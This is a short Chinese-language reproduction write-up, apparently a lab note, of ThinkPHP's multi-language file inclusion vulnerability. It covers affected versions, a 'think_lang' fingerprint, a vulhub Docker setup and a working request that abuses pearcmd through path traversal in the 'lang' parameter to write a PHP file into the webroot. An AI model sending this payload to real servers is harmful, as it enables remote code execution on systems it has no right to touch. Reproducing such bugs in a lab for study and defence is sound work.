漏洞原理
ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越与文件包含组合拳的利用,通过pearcmd文件包含这个trick即可实现RCE。
关于pearcmd
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。
在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装。
在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。
影响版本
6.0.1 < ThinkPHP ≤ 6.0.13
5.0.0 < ThinkPHP ≤ 5.0.12
5.1.0 < ThinkPHP ≤ 5.1.8
漏洞指纹
header=“think_lang”
环境搭建
https://github.com/vulhub/vulhub/commit/34fca0ce1bd144d67b01540594f9764f65497e94#diff-a467569d1059d94152dc2adfef31fe2a8272b9b0982a61624da79f3f6e331e95
漏洞复现
docker -compose up -d
dockers ps 查看进程
docker exec -it ID bash 查看进程路径
/index?lang=…/…/…/…/…/…/…/…/usr/local/lib/php/pearcmd&+config-create+/&/+/var/www/html/test.php
经过…/的尝试发现当…/个数超过7个时,响应界面发生变化,即利用成功。
当前…/个数为6个,查看是否写入
当…/个数为8个时
查看是否利用成功